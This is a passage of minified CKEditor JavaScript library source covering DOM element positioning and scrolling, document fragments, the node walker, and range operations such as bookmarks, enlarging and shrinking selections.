y=f.$.documentElement,s=y.clientTop||j.$.clientTop||0,w=y.clientLeft||j.$.clientLeft||0,q=true;if(CKEDITOR.env.ie){q=f.getDocumentElement().contains(this);f=f.getBody().contains(this);q=g&&f||!g&&q}if(q){if(CKEDITOR.env.webkit){b=j.$.scrollLeft||y.scrollLeft;c=j.$.scrollTop||y.scrollTop}else{c=g?j.$:y;b=c.scrollLeft;c=c.scrollTop}b=m.left+b-w;c=m.top+c-s}}else{s=this;for(w=null;s&&!(s.getName()=="body"||s.getName()=="html");){b=b+(s.$.offsetLeft-s.$.scrollLeft);c=c+(s.$.offsetTop-s.$.scrollTop);if(!s.equals(this)){b=
b+(s.$.clientLeft||0);c=c+(s.$.clientTop||0)}for(;w&&!w.equals(s);){b=b-w.$.scrollLeft;c=c-w.$.scrollTop;w=w.getParent()}w=s;s=(m=s.$.offsetParent)?new CKEDITOR.dom.element(m):null}}if(a){m=this.getWindow();s=a.getWindow();if(!m.equals(s)&&m.$.frameElement){a=(new CKEDITOR.dom.element(m.$.frameElement)).getDocumentPosition(a);b=b+a.x;c=c+a.y}}if(!document.documentElement.getBoundingClientRect&&CKEDITOR.env.gecko&&!g){b=b+(this.$.clientLeft?1:0);c=c+(this.$.clientTop?1:0)}return{x:b,y:c}},scrollIntoView:function(a){var b=
this.getParent();if(b){do{(b.$.clientWidth&&b.$.clientWidth<b.$.scrollWidth||b.$.clientHeight&&b.$.clientHeight<b.$.scrollHeight)&&!b.is("body")&&this.scrollIntoParent(b,a,1);if(b.is("html")){var c=b.getWindow();try{var f=c.$.frameElement;f&&(b=new CKEDITOR.dom.element(f))}catch(j){}}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var f,j,g,m;function y(b,d){if(/body|html/.test(a.getName()))a.getWindow().$.scrollBy(b,d);else{a.$.scrollLeft=a.$.scrollLeft+b;a.$.scrollTop=a.$.scrollTop+d}}
function s(a,b){var d={x:0,y:0};if(!a.is(q?"body":"html")){var c=a.$.getBoundingClientRect();d.x=c.left;d.y=c.top}c=a.getWindow();if(!c.equals(b)){c=s(CKEDITOR.dom.element.get(c.$.frameElement),b);d.x=d.x+c.x;d.y=d.y+c.y}return d}function w(a,b){return parseInt(a.getComputedStyle("margin-"+b)||0,10)||0}!a&&(a=this.getWindow());g=a.getDocument();var q=g.$.compatMode=="BackCompat";a instanceof CKEDITOR.dom.window&&(a=q?g.getBody():g.getDocumentElement());g=a.getWindow();j=s(this,g);var t=s(a,g),i=this.$.offsetHeight;
f=this.$.offsetWidth;var A=a.$.clientHeight,u=a.$.clientWidth;g=j.x-w(this,"left")-t.x||0;m=j.y-w(this,"top")-t.y||0;f=j.x+f+w(this,"right")-(t.x+u)||0;j=j.y+i+w(this,"bottom")-(t.y+A)||0;if(m<0||j>0)y(0,b===true?m:b===false?j:m<0?m:j);if(c&&(g<0||f>0))y(g<0?g:f,0)},setState:function(a,b,c){b=b||"cke";switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+"_on");this.removeClass(b+"_off");this.removeClass(b+"_disabled");c&&this.setAttribute("aria-pressed",true);c&&this.removeAttribute("aria-disabled");
break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+"_disabled");this.removeClass(b+"_off");this.removeClass(b+"_on");c&&this.setAttribute("aria-disabled",true);c&&this.removeAttribute("aria-pressed");break;default:this.addClass(b+"_off");this.removeClass(b+"_on");this.removeClass(b+"_disabled");c&&this.removeAttribute("aria-pressed");c&&this.removeAttribute("aria-disabled")}},getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=a.src}return a&&new CKEDITOR.dom.document(a.contentWindow.document)},
copyAttributes:function(a,b){for(var c=this.$.attributes,b=b||{},f=0;f<c.length;f++){var j=c[f],g=j.nodeName.toLowerCase(),m;if(!(g in b))if(g=="checked"&&(m=this.getAttribute(g)))a.setAttribute(g,m);else if(!CKEDITOR.env.ie||this.hasAttribute(g)){m=this.getAttribute(g);if(m===null)m=j.nodeValue;a.setAttribute(g,m)}}if(this.$.style.cssText!=="")a.$.style.cssText=this.$.style.cssText},renameNode:function(a){if(this.getName()!=a){var b=this.getDocument(),a=new CKEDITOR.dom.element(a,b);this.copyAttributes(a);
this.moveChildren(a);this.getParent()&&this.$.parentNode.replaceChild(a.$,this.$);a.$["data-cke-expando"]=this.$["data-cke-expando"];this.$=a.$;delete this.getName}},getChild:function(){function a(b,c){var e=b.childNodes;if(c>=0&&c<e.length)return e[c]}return function(b){var c=this.$;if(b.slice)for(;b.length>0&&c;)c=a(c,b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){this.on("contextmenu",function(a){a.data.getTarget().hasClass("cke_enable_context_menu")||
a.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle("direction")||this.getDirection()||this.getParent()&&this.getParent().getDirection(1)||this.getDocument().$.dir||"ltr":this.getStyle("direction")||this.getAttribute("dir")},data:function(a,b){a="data-"+a;if(b===void 0)return this.getAttribute(a);b===false?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(){var a=CKEDITOR.instances,b,c;for(b in a){c=a[b];if(c.element.equals(this)&&c.elementMode!=
CKEDITOR.ELEMENT_MODE_APPENDTO)return c}return null},find:function(b){var c=a(this),b=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(f(this,b)));c();return b},findOne:function(b){var c=a(this),b=this.$.querySelector(f(this,b));c();return b?new CKEDITOR.dom.element(b):null},forEach:function(a,b,c){if(!c&&(!b||this.type==b))var f=a(this);if(f!==false)for(var c=this.getChildren(),j=0;j<c.count();j++){f=c.getItem(j);f.type==CKEDITOR.NODE_ELEMENT?f.forEach(a,b):(!b||f.type==b)&&a(f)}}});var c={width:["border-left-width",
"border-right-width","padding-left","padding-right"],height:["border-top-width","border-bottom-width","padding-top","padding-bottom"]};CKEDITOR.dom.element.prototype.setSize=function(a,c,f){if(typeof c=="number"){if(f&&(!CKEDITOR.env.ie||!CKEDITOR.env.quirks))c=c-b.call(this,a);this.setStyle(a,c+"px")}};CKEDITOR.dom.element.prototype.getSize=function(a,c){var f=Math.max(this.$["offset"+CKEDITOR.tools.capitalize(a)],this.$["client"+CKEDITOR.tools.capitalize(a)])||0;c&&(f=f-b.call(this,a));return f}})();
CKEDITOR.dom.documentFragment=function(a){a=a||CKEDITOR.document;this.$=a.type==CKEDITOR.NODE_DOCUMENT?a.$.createDocumentFragment():a};
CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(a){a=a.$;a.parentNode.insertBefore(this.$,a.nextSibling)}},!0,{append:1,appendBogus:1,getFirst:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1});
(function(){function a(a,b){var c=this.range;if(this._.end)return null;if(!this._.start){this._.start=1;if(c.collapsed){this.end();return null}c.optimize()}var d,e=c.startContainer;d=c.endContainer;var m=c.startOffset,f=c.endOffset,h,o=this.guard,l=this.type,p=a?"getPreviousSourceNode":"getNextSourceNode";if(!a&&!this._.guardLTR){var r=d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),n=d.type==CKEDITOR.NODE_ELEMENT?d.getChild(f):d.getNext();this._.guardLTR=function(a,b){return(!b||!r.equals(a))&&(!n||
!a.equals(n))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}if(a&&!this._.guardRTL){var g=e.type==CKEDITOR.NODE_ELEMENT?e:e.getParent(),C=e.type==CKEDITOR.NODE_ELEMENT?m?e.getChild(m-1):null:e.getPrevious();this._.guardRTL=function(a,b){return(!b||!g.equals(a))&&(!C||!a.equals(C))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}var j=a?this._.guardRTL:this._.guardLTR;h=o?function(a,b){return j(a,b)===false?false:o(a,b)}:j;if(this.current)d=this.current[p](false,l,h);else{if(a)d.type==
CKEDITOR.NODE_ELEMENT&&(d=f>0?d.getChild(f-1):h(d,true)===false?null:d.getPreviousSourceNode(true,l,h));else{d=e;if(d.type==CKEDITOR.NODE_ELEMENT&&!(d=d.getChild(m)))d=h(e,true)===false?null:e.getNextSourceNode(true,l,h)}d&&h(d)===false&&(d=null)}for(;d&&!this._.end;){this.current=d;if(!this.evaluator||this.evaluator(d)!==false){if(!b)return d}else if(b&&this.evaluator)return false;d=d[p](false,l,h)}this.end();return this.current=null}function f(b){for(var c,d=null;c=a.call(this,b);)d=c;return d}
function b(a){if(g(a))return false;if(a.type==CKEDITOR.NODE_TEXT)return true;if(a.type==CKEDITOR.NODE_ELEMENT){if(a.is(CKEDITOR.dtd.$inline)||a.is("hr")||a.getAttribute("contenteditable")=="false")return true;var b;if(b=!CKEDITOR.env.needsBrFiller)if(b=a.is(m))a:{b=0;for(var c=a.getChildCount();b<c;++b)if(!g(a.getChild(b))){b=false;break a}b=true}if(b)return true}return false}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=a;this._={}},proto:{end:function(){this._.end=1},
next:function(){return a.call(this)},previous:function(){return a.call(this,1)},checkForward:function(){return a.call(this,0,1)!==false},checkBackward:function(){return a.call(this,1,1)!==false},lastForward:function(){return f.call(this)},lastBackward:function(){return f.call(this,1)},reset:function(){delete this.current;this._={}}}});var c={block:1,"list-item":1,table:1,"table-row-group":1,"table-header-group":1,"table-footer-group":1,"table-row":1,"table-column-group":1,"table-column":1,"table-cell":1,
"table-caption":1},e={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=function(a){return this.getComputedStyle("float")=="none"&&!(this.getComputedStyle("position")in e)&&c[this.getComputedStyle("display")]?true:!!(this.is(CKEDITOR.dtd.$block)||a&&this.is(a))};CKEDITOR.dom.walker.blockBoundary=function(a){return function(b){return!(b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary(a))}};CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})};CKEDITOR.dom.walker.bookmark=
function(a,b){function c(a){return a&&a.getName&&a.getName()=="span"&&a.data("cke-bookmark")}return function(d){var e,m;e=d&&d.type!=CKEDITOR.NODE_ELEMENT&&(m=d.getParent())&&c(m);e=a?e:e||c(d);return!!(b^e)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(b){var c;b&&b.type==CKEDITOR.NODE_TEXT&&(c=!CKEDITOR.tools.trim(b.getText())||CKEDITOR.env.webkit&&b.getText()=="​");return!!(a^c)}};CKEDITOR.dom.walker.invisible=function(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.env.webkit?
1:0;return function(d){if(b(d))d=1;else{d.type==CKEDITOR.NODE_TEXT&&(d=d.getParent());d=d.$.offsetWidth<=c}return!!(a^d)}};CKEDITOR.dom.walker.nodeType=function(a,b){return function(c){return!!(b^c.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function b(a){return!h(a)&&!k(a)}return function(c){var e=CKEDITOR.env.needsBrFiller?c.is&&c.is("br"):c.getText&&d.test(c.getText());if(e){e=c.getParent();c=c.getNext(b);e=e.isBlockBoundary()&&(!c||c.type==CKEDITOR.NODE_ELEMENT&&c.isBlockBoundary())}return!!(a^
e)}};CKEDITOR.dom.walker.temp=function(a){return function(b){b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent());b=b&&b.hasAttribute("data-cke-temp");return!!(a^b)}};var d=/^[\t\r\n ]*(?:&nbsp;|\xa0)$/,h=CKEDITOR.dom.walker.whitespaces(),k=CKEDITOR.dom.walker.bookmark(),j=CKEDITOR.dom.walker.temp();CKEDITOR.dom.walker.ignored=function(a){return function(b){b=h(b)||k(b)||j(b);return!!(a^b)}};var g=CKEDITOR.dom.walker.ignored(),m=function(a){var b={},c;for(c in a)CKEDITOR.dtd[c]["#"]&&(b[c]=1);return b}(CKEDITOR.dtd.$block);
CKEDITOR.dom.walker.editable=function(a){return function(c){return!!(a^b(c))}};CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(k(a)||h(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.is(CKEDITOR.dtd.$inline)&&!a.is(CKEDITOR.dtd.$empty));return a&&(CKEDITOR.env.needsBrFiller?a.is&&a.is("br"):a.getText&&d.test(a.getText()))?a:false}})();
CKEDITOR.dom.range=function(a){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=true;var f=a instanceof CKEDITOR.dom.document;this.document=f?a:a.getDocument();this.root=f?a.getBody():a};
(function(){function a(){var a=false,b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(true),e=CKEDITOR.dom.walker.bogus();return function(f){if(c(f)||b(f))return true;if(e(f)&&!a)return a=true;return f.type==CKEDITOR.NODE_TEXT&&(f.hasAscendant("pre")||CKEDITOR.tools.trim(f.getText()).length)||f.type==CKEDITOR.NODE_ELEMENT&&!f.is(d)?false:true}}function f(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(1);return function(d){return c(d)||b(d)?true:!a&&h(d)||
d.type==CKEDITOR.NODE_ELEMENT&&d.is(CKEDITOR.dtd.$removeEmpty)}}function b(a){return function(){var b;return this[a?"getPreviousNode":"getNextNode"](function(a){!b&&g(a)&&(b=a);return j(a)&&!(h(a)&&a.equals(b))})}}var c=function(a){a.collapsed=a.startContainer&&a.endContainer&&a.startContainer.equals(a.endContainer)&&a.startOffset==a.endOffset},e=function(a,b,c,d){a.optimizeBookmark();var e=a.startContainer,f=a.endContainer,i=a.startOffset,A=a.endOffset,h,o;if(f.type==CKEDITOR.NODE_TEXT)f=f.split(A);
else if(f.getChildCount()>0)if(A>=f.getChildCount()){f=f.append(a.document.createText(""));o=true}else f=f.getChild(A);if(e.type==CKEDITOR.NODE_TEXT){e.split(i);e.equals(f)&&(f=e.getNext())}else if(i)if(i>=e.getChildCount()){e=e.append(a.document.createText(""));h=true}else e=e.getChild(i).getPrevious();else{e=e.append(a.document.createText(""),1);h=true}var i=e.getParents(),A=f.getParents(),l,p,r;for(l=0;l<i.length;l++){p=i[l];r=A[l];if(!p.equals(r))break}for(var n=c,g,C,j,F=l;F<i.length;F++){g=
i[F];n&&!g.equals(e)&&(C=n.append(g.clone()));for(g=g.getNext();g;){if(g.equals(A[F])||g.equals(f))break;j=g.getNext();if(b==2)n.append(g.clone(true));else{g.remove();b==1&&n.append(g)}g=j}n&&(n=C)}n=c;for(c=l;c<A.length;c++){g=A[c];b>0&&!g.equals(f)&&(C=n.append(g.clone()));if(!i[c]||g.$.parentNode!=i[c].$.parentNode)for(g=g.getPrevious();g;){if(g.equals(i[c])||g.equals(e))break;j=g.getPrevious();if(b==2)n.$.insertBefore(g.$.cloneNode(true),n.$.firstChild);else{g.remove();b==1&&n.$.insertBefore(g.$,
n.$.firstChild)}g=j}n&&(n=C)}if(b==2){p=a.startContainer;if(p.type==CKEDITOR.NODE_TEXT){p.$.data=p.$.data+p.$.nextSibling.data;p.$.parentNode.removeChild(p.$.nextSibling)}a=a.endContainer;if(a.type==CKEDITOR.NODE_TEXT&&a.$.nextSibling){a.$.data=a.$.data+a.$.nextSibling.data;a.$.parentNode.removeChild(a.$.nextSibling)}}else{if(p&&r&&(e.$.parentNode!=p.$.parentNode||f.$.parentNode!=r.$.parentNode)){b=r.getIndex();h&&r.$.parentNode==e.$.parentNode&&b--;if(d&&p.type==CKEDITOR.NODE_ELEMENT){d=CKEDITOR.dom.element.createFromHtml('<span data-cke-bookmark="1" style="display:none">&nbsp;</span>',
a.document);d.insertAfter(p);p.mergeSiblings(false);a.moveToBookmark({startNode:d})}else a.setStart(r.getParent(),b)}a.collapse(true)}h&&e.remove();o&&f.$.parentNode&&f.remove()},d={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,"var":1},h=CKEDITOR.dom.walker.bogus(),k=/^[\t\r\n ]*(?:&nbsp;|\xa0)$/,j=CKEDITOR.dom.walker.editable(),g=CKEDITOR.dom.walker.ignored(true);CKEDITOR.dom.range.prototype=
{clone:function(){var a=new CKEDITOR.dom.range(this.root);a._setStartContainer(this.startContainer);a.startOffset=this.startOffset;a._setEndContainer(this.endContainer);a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){if(a){this._setEndContainer(this.startContainer);this.endOffset=this.startOffset}else{this._setStartContainer(this.endContainer);this.startOffset=this.endOffset}this.collapsed=true},cloneContents:function(){var a=new CKEDITOR.dom.documentFragment(this.document);
this.collapsed||e(this,2,a);return a},deleteContents:function(a){this.collapsed||e(this,0,null,a)},extractContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||e(this,1,b,a);return b},createBookmark:function(a){var b,c,d,e,f=this.collapsed;b=this.document.createElement("span");b.data("cke-bookmark",1);b.setStyle("display","none");b.setHtml("&nbsp;");if(a){d="cke_bm_"+CKEDITOR.tools.getNextNumber();b.setAttribute("id",d+(f?"C":"S"))}if(!f){c=b.clone();c.setHtml("&nbsp;");
a&&c.setAttribute("id",d+"E");e=this.clone();e.collapse();e.insertNode(c)}e=this.clone();e.collapse(true);e.insertNode(b);if(c){this.setStartAfter(b);this.setEndBefore(c)}else this.moveToPosition(b,CKEDITOR.POSITION_AFTER_END);return{startNode:a?d+(f?"C":"S"):b,endNode:a?d+"E":c,serializable:a,collapsed:f}},createBookmark2:function(){function a(c){var d=c.container,e=c.offset,f;f=d;var m=e;f=f.type!=CKEDITOR.NODE_ELEMENT||m===0||m==f.getChildCount()?0:f.getChild(m-1).type==CKEDITOR.NODE_TEXT&&f.getChild(m).type==
CKEDITOR.NODE_TEXT;if(f){d=d.getChild(e-1);e=d.getLength()}d.type==CKEDITOR.NODE_ELEMENT&&e>1&&(e=d.getChild(e-1).getIndex(true)+1);if(d.type==CKEDITOR.NODE_TEXT){f=d;for(m=0;(f=f.getPrevious())&&f.type==CKEDITOR.NODE_TEXT;)m=m+f.getLength();f=m;if(d.getText())e=e+f;else{m=d.getPrevious(b);if(f){e=f;d=m?m.getNext():d.getParent().getFirst()}else{d=d.getParent();e=m?m.getIndex(true)+1:0}}}c.container=d;c.offset=e}var b=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_TEXT,true);return function(b){var c=this.collapsed,
d={container:this.startContainer,offset:this.startOffset},e={container:this.endContainer,offset:this.endOffset};if(b){a(d);c||a(e)}return{start:d.container.getAddress(b),end:c?null:e.container.getAddress(b),startOffset:d.offset,endOffset:e.offset,normalized:b,collapsed:c,is2:true}}}(),moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),c=a.startOffset,d=a.end&&this.document.getByAddress(a.end,a.normalized),a=a.endOffset;this.setStart(b,c);d?this.setEnd(d,a):
this.collapse(true)}else{b=(c=a.serializable)?this.document.getById(a.startNode):a.startNode;a=c?this.document.getById(a.endNode):a.endNode;this.setStartBefore(b);b.remove();if(a){this.setEndBefore(a);a.remove()}else this.collapse(true)}},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,c=this.startOffset,d=this.endOffset,e;if(a.type==CKEDITOR.NODE_ELEMENT){e=a.getChildCount();if(e>c)a=a.getChild(c);else if(e<1)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;
a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}}if(b.type==CKEDITOR.NODE_ELEMENT){e=b.getChildCount();if(e>d)b=b.getChild(d).getPreviousSourceNode(true);else if(e<1)b=b.getPreviousSourceNode();else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}}a.getPosition(b)&CKEDITOR.POSITION_FOLLOWING&&(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var c=this.startContainer,d=this.endContainer,c=c.equals(d)?a&&c.type==CKEDITOR.NODE_ELEMENT&&this.startOffset==this.endOffset-
1?c.getChild(this.startOffset):c:c.getCommonAncestor(d);return b&&!c.is?c.getParent():c},optimize:function(){var a=this.startContainer,b=this.startOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&&(a.is("span")&&a.data("cke-bookmark"))&&
this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&&(b.is&&b.is("span")&&b.data("cke-bookmark"))&&this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},trim:function(a,b){var c=this.startContainer,d=this.startOffset,e=this.collapsed;if((!a||e)&&c&&c.type==CKEDITOR.NODE_TEXT){if(d)if(d>=c.getLength()){d=c.getIndex()+1;c=c.getParent()}else{var f=c.split(d),d=c.getIndex()+1,c=c.getParent();if(this.startContainer.equals(this.endContainer))this.setEnd(f,this.endOffset-this.startOffset);else if(c.equals(this.endContainer))this.endOffset=
this.endOffset+1}else{d=c.getIndex();c=c.getParent()}this.setStart(c,d);if(e){this.collapse(true);return}}c=this.endContainer;d=this.endOffset;if(!b&&!e&&c&&c.type==CKEDITOR.NODE_TEXT){if(d){d>=c.getLength()||c.split(d);d=c.getIndex()+1}else d=c.getIndex();c=c.getParent();this.setEnd(c,d)}},enlarge:function(a,b){function c(a){return a&&a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("contenteditable")?null:a}var d=RegExp(/[^\s\ufeff]/);switch(a){case CKEDITOR.ENLARGE_INLINE:var e=1;case CKEDITOR.ENLARGE_ELEMENT:if(this.collapsed)break;
var f=this.getCommonAncestor(),i=this.root,h,g,o,l,p,r=false,n,j;n=this.startContainer;var C=this.startOffset;if(n.type==CKEDITOR.NODE_TEXT){if(C){n=!CKEDITOR.tools.trim(n.substring(0,C)).length&&n;r=!!n}if(n&&!(l=n.getPrevious()))o=n.getParent()}else{C&&(l=n.getChild(C-1)||n.getLast());l||(o=n)}for(o=c(o);o||l;){if(o&&!l){!p&&o.equals(f)&&(p=true);if(e?o.isBlockBoundary():!i.contains(o))break;if(!r||o.getComputedStyle("display")!="inline"){r=false;p?h=o:this.setStartBefore(o)}l=o.getPrevious()}for(;l;){n=
false;if(l.type==CKEDITOR.NODE_COMMENT)l=l.getPrevious();else{if(l.type==CKEDITOR.NODE_TEXT){j=l.getText();d.test(j)&&(l=null);n=/[\s\ufeff]$/.test(j)}else if((l.$.offsetWidth>(CKEDITOR.env.webkit?1:0)||b&&l.is("br"))&&!l.data("cke-bookmark"))if(r&&CKEDITOR.dtd.$removeEmpty[l.getName()]){j=l.getText();if(d.test(j))l=null;else for(var C=l.$.getElementsByTagName("*"),k=0,F;F=C[k++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){l=null;break}l&&(n=!!j.length)}else l=null;n&&(r?p?h=o:o&&this.setStartBefore(o):
r=true);if(l){n=l.getPrevious();if(!o&&!n){o=l;l=null;break}l=n}else o=null}}o&&(o=c(o.getParent()))}n=this.endContainer;C=this.endOffset;o=l=null;p=r=false;var K=function(a,b){var c=new CKEDITOR.dom.range(i);c.setStart(a,b);c.setEndAt(i,CKEDITOR.POSITION_BEFORE_END);var c=new CKEDITOR.dom.walker(c),e;for(c.guard=function(a){return!(a.type==CKEDITOR.NODE_ELEMENT&&a.isBlockBoundary())};e=c.next();){if(e.type!=CKEDITOR.NODE_TEXT)return false;j=e!=a?e.getText():e.substring(b);if(d.test(j))return false}return true};
if(n.type==CKEDITOR.NODE_TEXT)if(CKEDITOR.tools.trim(n.substring(C)).length)r=true;else{r=!n.getLength();if(C==n.getLength()){if(!(l=n.getNext()))o=n.getParent()}else K(n,C)&&(o=n.getParent())}else(l=n.getChild(C))||(o=n);for(;o||l;){if(o&&!l){!p&&o.equals(f)&&(p=true);if(e?o.isBlockBoundary():!i.contains(o))break;if(!r||o.getComputedStyle("display")!="inline"){r=false;p?g=o:o&&this.setEndAfter(o)}l=o.getNext()}for(;l;){n=false;if(l.type==CKEDITOR.NODE_TEXT){j=l.getText();K(l,0)||(l=null);n=/^[\s\ufeff]/.test(j)}else if(l.type==
CKEDITOR.NODE_ELEMENT){if((l.$.offsetWidth>0||b&&l.is("br"))&&!l.data("cke-bookmark"))if(r&&CKEDITOR.dtd.$removeEmpty[l.getName()]){j=l.getText();if(d.test(j))l=null;else{C=l.$.getElementsByTagName("*");for(k=0;F=C[k++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){l=null;break}}l&&(n=!!j.length)}else l=null}else n=1;n&&r&&(p?g=o:this.setEndAfter(o));if(l){n=l.getNext();if(!o&&!n){o=l;l=null;break}l=n}else o=null}o&&(o=c(o.getParent()))}if(h&&g){f=h.contains(g)?g:h;this.setStartBefore(f);
this.setEndAfter(f)}break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:o=new CKEDITOR.dom.range(this.root);i=this.root;o.setStartAt(i,CKEDITOR.POSITION_AFTER_START);o.setEnd(this.startContainer,this.startOffset);o=new CKEDITOR.dom.walker(o);var I,v,G=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),z=null,B=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&&a.getAttribute("contenteditable")=="false")if(z){if(z.equals(a)){z=null;return}}else z=
a;else if(z)return;var b=G(a);b||(I=a);return b},e=function(a){var b=B(a);!b&&(a.is&&a.is("br"))&&(v=a);return b};o.guard=B;o=o.lastBackward();I=I||i;this.setStartAt(I,!I.is("br")&&(!o&&this.checkStartOfBlock()||o&&I.contains(o))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END);if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){o=this.clone();o=new CKEDITOR.dom.walker(o);var x=CKEDITOR.dom.walker.whitespaces(),E=CKEDITOR.dom.walker.bookmark();o.evaluator=function(a){return!x(a)&&!E(a)};if((o=o.previous())&&
o.type==CKEDITOR.NODE_ELEMENT&&o.is("br"))break}o=this.clone();o.collapse();o.setEndAt(i,CKEDITOR.POSITION_BEFORE_END);o=new CKEDITOR.dom.walker(o);o.guard=a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?e:B;I=z=v=null;o=o.lastForward();I=I||i;this.setEndAt(I,!o&&this.checkEndOfBlock()||o&&I.contains(o)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);v&&this.setEndAfter(v)}},shrink:function(a,b,c){if(!this.collapsed){var a=a||CKEDITOR.SHRINK_TEXT,d=this.clone(),e=this.startContainer,f=this.endContainer,
i=this.startOffset,h=this.endOffset,g=1,o=1;if(e&&e.type==CKEDITOR.NODE_TEXT)if(i)if(i>=e.getLength())d.setStartAfter(e);else{d.setStartBefore(e);g=0}else d.setStartBefore(e);if(f&&f.type==CKEDITOR.NODE_TEXT)if(h)if(h>=f.getLength())d.setEndAfter(f);else{d.setEndAfter(f);o=0}else d.setEndBefore(f);var d=new CKEDITOR.dom.walker(d),l=CKEDITOR.dom.walker.bookmark();d.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var p;d.guard=function(b,d){if(l(b))return true;
if(a==CKEDITOR.SHRINK_ELEMENT&&b.type==CKEDITOR.NODE_TEXT||d&&b.equals(p)||c===false&&b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary()||b.type==CKEDITOR.NODE_ELEMENT&&b.hasAttribute("contenteditable"))return false;!d&&b.type==CKEDITOR.NODE_ELEMENT&&(p=b);return true};if(g)(e=d[a==CKEDITOR.SHRINK_ELEMENT?"lastForward":"next"]())&&this.setStartAt(e,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);if(o){d.reset();(d=d[a==CKEDITOR.SHRINK_ELEMENT?"lastBackward":"previous"]())&&this.setEndAt(d,
b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END)}return!(!g&&!o)}},insertNode:function(a){this.optimizeBookmark();this.trim(false,true);var b=this.startContainer,c=b.getChild(this.startOffset);c?a.insertBefore(c):b.append(a);a.getParent()&&a.getParent().equals(this.endContainer)&&this.endOffset++;this.setStartBefore(a)},moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(true)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,
a.endOffset)},selectNodeContents:function(a){this.setStart(a,0);this.setEnd(a,a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex();a=a.getParent()}this._setStartContainer(a);this.startOffset=b;if(!this.endContainer){this._setEndContainer(a);this.endOffset=b}c(this)},setEnd:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex()+1;a=a.getParent()}this._setEndContainer(a);
